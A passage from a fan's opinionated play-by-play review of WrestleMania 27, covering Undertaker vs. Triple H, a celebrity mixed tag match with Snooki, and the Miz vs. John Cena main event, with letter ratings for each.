Taker sets for another Tombstone, this time on the chair. Instead it’s a DDT mostly on the chair to put both guys down. Somehow this has been going almost 20 minutes. They both struggle to their feet and there’s a decent Pedigree for a long two. If Scott Armstrong didn’t have the biggest hitch in his count this side of something with a very large hitch in his count, this would have been over a long time ago.

A third Pedigree is kicked out of as this is bordering on stupid here. We get it: you can kick out of the Pedigree now DO SOMETHING ELSE! Both guys are down and HHH gets the chair. BIG chair shot to the head of Taker and he’s in big trouble. Taker does his best Terry Funk shaking impression as HHH shouts what’s wrong with you. He gets grabbed by the throat for his troubles but Taker can’t hold it.

Taker says bring it on so HHH does a throat slit. Tombstone hits Taker and of course it gets two. They try to play this off as some huge thing but dude, no one thought that was going to end it. HHH goes to the floor and it’s sledgehammer time. HHH holds up the hammer but Taker pulls him down into the Hell’s Gate and HHH is in trouble. He drops the hammer and is in big trouble. HHH tries to stand but is fading fast. He gets the hammer again but can’t get a shot to the head. HHH TAPS OUT to end this at approximately 29:10 but I had some stream issues so I’m not sure how accurate that is to the second.

Rating: B. Well it was brutal, but at the same time did anyone really believe this was ending with anything other than a big sign that said 19-0? The whole big spot rest big spot rest got really annoying and it made the match feel a lot longer than it should have. Good stuff, don’t get me wrong, but at the same time it ran too long and that hurt it in my eyes.

Taker gets checked out by a trainer post match and they do the big exit with both of them leaving at the same time. Taker can barely walk and keeps falling down. He falls down next to the ring and they have to get a cart to take him out. I’m not sure if this is legit or not but I’m leaning towards it being so.

Good time for a Don’t Try This at Home no?

Wrestlemania 28 will be in Miami as we all knew.

Laycool/Dolph Ziggler vs. John Morrison/Trish Stratus/Snooki

 

Please….make it short. Dolph is officially the business associate. Not sure if they had covered that before but it’s official here. At least Laycool looks incredible. Trish should never be allowed to not wear leather. And here’s the draw, Snooki. Oh dear. Well I guess she’s an improvement over Bieber. I can’t wait for like three years from now when this is totally dated.

The girls go at it early and the guys pull them off. Trish and Michelle start us off officially. Trish tries to tag in Snooki early but I think the small one doesn’t want in. Matrish leads to an attempt at a Faithbreaker but Trish counters into a facejam. McCool counters the Stratusphere and they fight on the buckle with both crashing to the floor. Everything breaks down and Morrison hits Starship Pain to the floor to take out Ziggler.

Off to Snooki and let the booing begin. She does a handspring elbow into the corner which is still a stupid move. A cartwheel into the WORST SPLASH EVER ends McCool at 3:15. Snooki was in the match for a total of 12 seconds. Note to future girls wanting to be a Diva: don’t bother marrying Undertaker or working to become awesome. Get on a bad reality show and get in fights in bars. You’ll get wins at Mania. No rating due to it being short and it ticking me off. Match was nothing special to say the absolute least. Perhaps the worst celebrity match ever.

There’s a new attendance record for the Georgia Dome of 71,617. That’s always cool to hear.

It’s time for the main event of Cena vs. Miz. Yes, the Miz is wrestling in the main event of Wrestlemania. BE JEALOUS! No recap at all and it’s time to go. I guess we’re running behind. Ah ok here’s a package as we see Miz’s rise to the top and interspersed with various world title wins at Mania. Miz is looking at a screen watching all this. We get the DEMON CHILD and clips of him on Real World and Tough Enough and doing all kinds of stupid things before he got serious and AWESOME as a result.

This gets the music video treatment about how everyone hates Miz but he keeps winning. Miz having his back to the camera the entire time is great. This transitions into a video about the feud with Miz constantly getting the better of Cena.

Raw World Title: The Miz vs. John Cena

 

Miz runs through some things that look like balloons saying AWESOME. This is MIz’s moment and it’s working. Riley has the varsity jacket with him here and Miz has his coat also. Must be chilly in Atlanta. Cena’s big entrance this year: a full on gospel choir. We actually have a prayer with clips of Cena growing up and being awesome I guess. They actually say Jesus here which is a bit different. This takes a long time also, as has everything else tonight. After the prayer the choir actually sings Cena’s theme in full on gospel style. And then he sprints to the ring in a new shirt.

Cena is of course mostly booed out of the building. This is listed as Cena’s 8th straight Mania main event which is a relative term as some of them were in the middle of the card. The bell rings twice for no apparent reason and they lock up. Miz controls early but Cena gets a hip block to get us back to even. Cena with some nice technique to get a headlock but that doesn’t last long.

They’re in a long feeling out period here and Miz stomps away to end that. Miz takes over with basic stuff but gets caught in a gutwrench suplex for two. Miz misses his running clothesline in the corner which hit earlier. Top rope Fameasser hits for two. Big boot to the head of Cena gets two. They botch something so Miz gets a dropkick to the ribs to send Cena to the floor.

Back in the ring and Cena starts his finishing sequence but can’t get the FU. Short DDT gets two for the champion. A Let’s Go Miz chant starts up as he escapes the STFU and gets caught in a neckbreaker for two. Miz unhooks the buckle which gets him nowhere. Cena gets the STF but Miz grabs the rope. Riley sends Cena into the exposed buckle and Miz gets the Skull Crushing Finale for a long two.

Down goes the referee and wouldn’t you know it that it hits just a second before the FU. Riley comes in with the briefcase and down goes Cena again. Naturally that only gets two as the fans are finally back into this. Miz goes for the case but hits Riley and walks into a HUGE Attitude Adjustment for TWO! Wow I would have bet on that being the ending there.

Out to the floor and Cena kills him with a running clothesline to send him over the barricade. Big spear onto the concrete by the fans and that looked sick. They’re both dead and this is going to be a freaking double count out. ARE YOU FREAKING KIDDING ME??? This can’t be. That had better be a legit injury or we’re not done yet.

And here’s Rock to make sure this doesn’t suck. There’s an e-mail and Rock says that it doesn’t matter what the GM thinks so this is restarting, no DQ, no countout, no time limit. Cena goes for the FU immediately but walks into the Rock Bottom and MIZ RETAINS!!! The pin was at 19:30 overall, counting the big stoppage.

Rating: C-. Even with the ending this was still pretty boring. They’re not hurt which is always a good thing but dude, did we need a false finish in something like this? It’s the main event of Wrestlemania for crying out loud. I get that you needed Rock out there, but make something better than that. I’m not impressed here at all which is hard to do with me at Mania

Miz holds up the title post match and Rock looks at him. The beatdown is on and it’s a People’s Elbow for Miz.

Overall Rating: C-. This was a VERY hit or miss Mania and it’s going to have a very mixed reaction I think. A lot of the booking is just kind of out there, namely Cole/Lawler. I get that they’re setting up for future shows but at the same time this is WRESTLEMANIA! There’s some good stuff but nowhere near enough to make this really work.

There are times when you just do certain things and this is one of them. Not impressed here at all and this is a huge fall down from last year. Rock helped, but there’s only so much he can do. Summerslam and Raw tomorrow better be AMAZING. The ending helps this but certainly doesn’t save it. WAY too rushed of a show and that’s the downfall of it. I’ll probably have more to say on it later but that’s my initial reaction.

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